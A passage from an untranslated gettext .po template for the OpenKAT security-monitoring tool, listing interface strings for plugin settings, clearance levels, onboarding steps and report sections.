\"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"confirmation\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#, python-format\nmsgid \"Variant %(plugin.name)s created.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The Boefje variant is successfully created and can now be used.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Overview of variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/plugin_overview_table.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Status\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Age\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan interval\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Run on\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"current\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\nmsgid \"minutes\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Default system scan frequency\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Boefje ID\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Creation date\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Arguments\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The following arguments are used for this Boefje variant:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"There are no arguments used for this Boefje variant.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Edit variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"This Boefje has no variants yet.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"You can make a variant and change the arguments and JSON Schema to customize \"\n\"it to fit your needs.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting\"\nmsgid_plural \"Add settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Setting\"\nmsgid_plural \"Settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting and enable boefje\"\nmsgid_plural \"Add settings and enable boefje\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\nmsgid \"Delete settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete all settings for the plugin %(plugin_name)s?\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"\"\n\"In the table below the settings for this specific Boefje can be seen. Set or \"\n\"change the value of the variables by editing the settings.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Configure Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Overview of settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Variable\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Session has terminated, please select objects again.\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Change clearance level\"\nmsgstr \"\"\n\n#: katalogus/views/katalogus_settings.py\nmsgid \"Settings from {} to {} successfully cloned.\"\nmsgstr \"\"\n\n#: katalogus/views/katalogus_settings.py\n#: katalogus/views/plugin_settings_list.py\nmsgid \"Failed getting settings for boefje {}\"\nmsgstr \"\"\n\n#: katalogus/views/mixins.py\nmsgid \"\"\n\"Getting information for plugin {} failed. Please check the KATalogus logs.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_detail.py\nmsgid \"\"\n\"Some selected OOIs needs an increase of clearance level to perform scans. \"\n\"You do not have the permission to change clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' disabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' enabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"You have not acknowledged your clearance level. Go to your profile page to \"\n\"acknowledge your clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is not set. Go to your profile page to see your \"\n\"clearance or contact the administrator to set a clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is L{}. Contact your administrator to get a higher \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"To enable {} you need at least a clearance level of L{}. \"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Trying to add settings to boefje without schema\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"No changes to the settings added: no form data present\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Added settings for '{}'\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Failed adding settings\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Enabling {} failed\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Boefje '{}' enabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Add settings\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Settings for plugin {} successfully deleted.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Plugin {} has no settings.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"\"\n\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more \"\n\"info.\"\nmsgstr \"\"\n\n#: onboarding/forms.py\nmsgid \"\"\n\"The clearance level determines how aggressive the object can be scanned by \"\n\"plugins. A higher clearance level means more aggressive scans are allowed.\"\nmsgstr \"\"\n\n#: onboarding/forms.py tools/forms/ooi.py\nmsgid \"explanation-clearance-level\"\nmsgstr \"\"\n\n#: onboarding/forms.py\nmsgid \"Please enter a valid URL starting with 'http://' or 'https://'.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/onboarding_header.html\nmsgid \"Onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"Welcome to OpenKAT!\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"Welcome to the onboarding of OpenKAT. We will walk you through some steps to \"\n\"set everything up.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"At the end of this onboarding you have added your first object, created your \"\n\"first DNS report and learned about some basic concepts used within OpenKAT.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"The full documentation for OpenKAT can be found at:\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\n#: rocky/templates/organizations/organization_add.html\nmsgid \"Organization setup\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\nmsgid \"\"\n\"Please enter the following organization details. The organization name can \"\n\"be changed later in the interface. The organization code cannot be changed \"\n\"as this is used by the database.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\n#: reports/report_types/concatenated_report/report.py\nmsgid \"Report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Boefjes are scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"The enabled Boefjes are running in the background to gather the data for \"\n\"your DNS Report. This may take a few minutes.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"In the meantime you can explore OpenKAT and view your DNS Report on the \"\n\"Reports page once it has been generated.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Continue to OpenKAT\"\nmsgstr \"\"\n\n#: onboarding/templates/step_1_introduction_registration.html\n#: onboarding/templates/step_1a_introduction.html\nmsgid \"Let's get started\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: onboarding/templates/step_2b_organization_update.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization details\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: rocky/templates/forms/json_schema_form.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_member_add.html\n#: rocky/templates/organizations/organization_member_add_account_type.html\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\n#: rocky/templates/partials/form/indemnification_add_form.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Submit\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2b_organization_update.html\nmsgid \"Submit changes\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2b_organization_update.html\n#: onboarding/templates/step_3_indemnification_setup.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification setup\"\nmsgstr \"\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification on the organization is already present.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"User clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The user clearance level specifies the maximum scan level for security scans \"\n\"and the maximum clearance level you can assign to objects (e.g. a URL).\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The administrator assigns a maximum user clearance level to each user. This \"\n\"will make sure that only trusted users can start more aggressive scans.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"A user must accept a clearance level, before they perform actions in \"\n\"OpenKAT. Here you may accept the maximum trusted clearance level, as \"\n\"assigned by your administrator. On your user settings page you can choose to \"\n\"lower your accepted clearance level after completing the onboarding.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"What is my clearance level?\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Unfortunately you cannot continue the onboarding. </br> Your administrator \"\n\"has trusted you with a clearance level of <strong>L%(tcl)s</strong>. </br> \"\n\"You need at least a clearance level of \"\n\"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n\"<strong>%(ooi)s</strong> </br> Contact your administrator to receive a \"\n\"higher clearance.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: onboarding/templates/step_6_set_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\n#: onboarding/templates/step_9_choose_report_type.html\n#: rocky/templates/partials/form/boefje_tiles_form.html\nmsgid \"Skip onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has trusted you with a clearance level of \"\n\"<strong>L%(tcl)s</strong>. </br> You must first accept this clearance level \"\n\"to continue.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has <strong>trusted</strong> you with a clearance level \"\n\"of <strong>L%(tcl)s</strong>.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Add an object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"OpenKAT uses various kinds of objects, like IP addresses, hostnames and \"\n\"URLs. In the onboarding we will add an URL object, such as our vulnerable \"\n\"OpenKAT website: https://mispo.es.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Related objects\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"Most objects have dependencies on the existence of related objects. For \"\n\"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n\"qualified domain name) and IP address. When possible OpenKAT automatically \"\n\"collects and adds these related objects by running scans. Objects can also \"\n\"be manually added.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Create object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set object clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"\"\n\"After creating a new object you can set a clearance level for this object. A \"\n\"clearance level determines how aggressive the object can be scanned. A \"\n\"higher clearance level, means that more aggressive scans are allowed. \"\n\"Clearance levels can always be adjusted later on.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\n#, python-format\nmsgid \"\"\n\"For the onboarding we use a clearance level of \"\n\"L%(dns_report_least_clearance_level)s, meaning only informational scans are \"\n\"allowed.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Plugin introduction\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan your objects. Each plugin has a scan level to \"\n\"specify how aggressive the scan is. Plugins can only scan those objects with \"\n\"a clearance level that is equal to, or higher than the scan level of the \"\n\"plugin. Plugin scan level are indicated by the number of cat paws.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it \"\n\"performs non-intrusive scans which look for publicly available information. \"\n\"It scans objects with a clearance level of 1 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it \"\n\"more aggressive and could potentially break things. It scans objects with a \"\n\"clearance level of 3 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enabling plugins and start scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan, check and analyze. There are three types of \"\n\"plugins.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The first plugin are <b>Boefjes</b>, which scan objects for data. These are \"\n\"security tools like nmap, LeakIX and WPscan. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used \"\n\"to process the output of Boefjes. They can create findings and related \"\n\"objects. Bits are also used to create organization specific findings, based \"\n\"on policy requirements. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"For the onboarding we will enable the Boefjes shown below. Once enabled \"\n\"these Boefjes gather publicly available information on suitable objects with \"\n\"a clearance level of 1 or higher. Normalizers and Bits are enabled by \"\n\"default.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enable and continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate a report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"Reports can be used to gain more insights in your organizations assets. You \"\n\"can generate different types of reports in OpenKAT. Each report may require \"\n\"one or more plugins that provide the input for the report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"For the onboarding we will generate a DNS report for your added URL. In the \"\n\"previous step you enabled the required plugins for this report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate DNS Report\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"1: Welcome\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"2: Organization setup\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"3: Add object\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"4: Plugins\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"5: Generating report\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully created.\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully updated.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Creating an object\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Fetch the parent DNS zone of a hostname\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Finds subdomains by brute force\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select a plugin to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select all required plugins to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py reports/views/aggregate_report.py\n#: reports/views/generate_report.py\nmsgid \"An error occurred while enabling {}. The plugin is not available.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Plugins successfully enabled.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Web URL not found.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"\"\n\"Your report is scheduled for generation in about 3 minutes, as we are \"\n\"waiting for Boefjes to complete. In the meantime get familiar with OpenKAT \"\n\"and visit the Reports History tab later.\"\nmsgstr \"\"\n\n#: reports/forms.py tools/forms/ooi_form.py\nmsgid \"Filter by OOI types\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Today\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Different date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yes, repeat\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start time (UTC)\"\nmsgstr \"\"\n\n#: reports/forms.py\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recurrence\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No recurrence, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Daily\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Weekly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Monthly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yearly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"day\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"week\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"month\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"year\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Never\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"On\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"After\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Report name format\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/multi_organization_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Appendix\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Currently filtered on\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected Report Types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Selected report types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Report type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Service Versions and Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Service, version and health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/footer.html\n#: rocky/templates/health.html\nmsgid \"Service\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/health.html\nmsgid \"Version\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/footer.html rocky/views/health.py\nmsgid \"Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/health.html\nmsgid \"Healthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Unhealthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used Config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Primary Key\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Bit ID\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Config\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"No config objects found.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Asset overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"\"\n\"An overview of the manually released scanned assets. Assets in <strong>bold</\"\n\"strong> are taken as a starting point, assets that are not in bold were \"\n\"found by OpenKAT itself.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"Overview of the basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"\"\n\"This table provides an overview of the basic security status of the known \"\n\"assets. Basic security in order. In principle, all values in this table \"\n\"should be checked off.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"Basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/multi_organization_report/ipv6.html\n#: reports/report_types/systems_report/report.html\nmsgid \"System type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"System Specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"RPKI\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"server\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"This chapter contains information about the findings that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"There is <i>%(total_findings)s</i> vulnerability\"\nmsgid_plural \"There are <i>%(total_findings)s</i> vulnerabilities\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"found on <i>%(total_systems)s</i> system.\"\nmsgid_plural \"found on <i>%(total_systems)s</i> systems.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"There are no recommendations.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Basic security\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"In this chapter, first a table of compliance checks is displayed, followed \"\n\"by a detailed examination of compliance issues for each component.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"System specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Resource Public Key Infrastructure\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\nmsgid \"Vulnerabilities found are grouped per system.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.py\nmsgid \"Aggregate Organisation Report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/rpki.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This section contains basic security information about resource public key \"\n\"infrastructure. If your web server employs RPKI for its IP addresses and \"\n\"associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/safe_connections.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"In this chapter we check if the connections of all the IP ports of the \"\n\"system are safe. Safe connections are important to prevent unauthorised \"\n\"access and data breaches. Strong ciphers are crucial because they ensure \"\n\"strong encryption which protects the data from interception during \"\n\"communiction.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\n#: reports/report_types/multi_organization_report/summary.html\n#: rocky/views/ooi_tree.py\nmsgid \"Summary\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Critical Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"IPs scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Hostnames scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Terms in report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#, python-format\nmsgid \"\"\n\"This table shows which checks were performed. Following that, the compliance \"\n\"issues, if any, are shown for each %(type)s Server.\"\nmsgstr 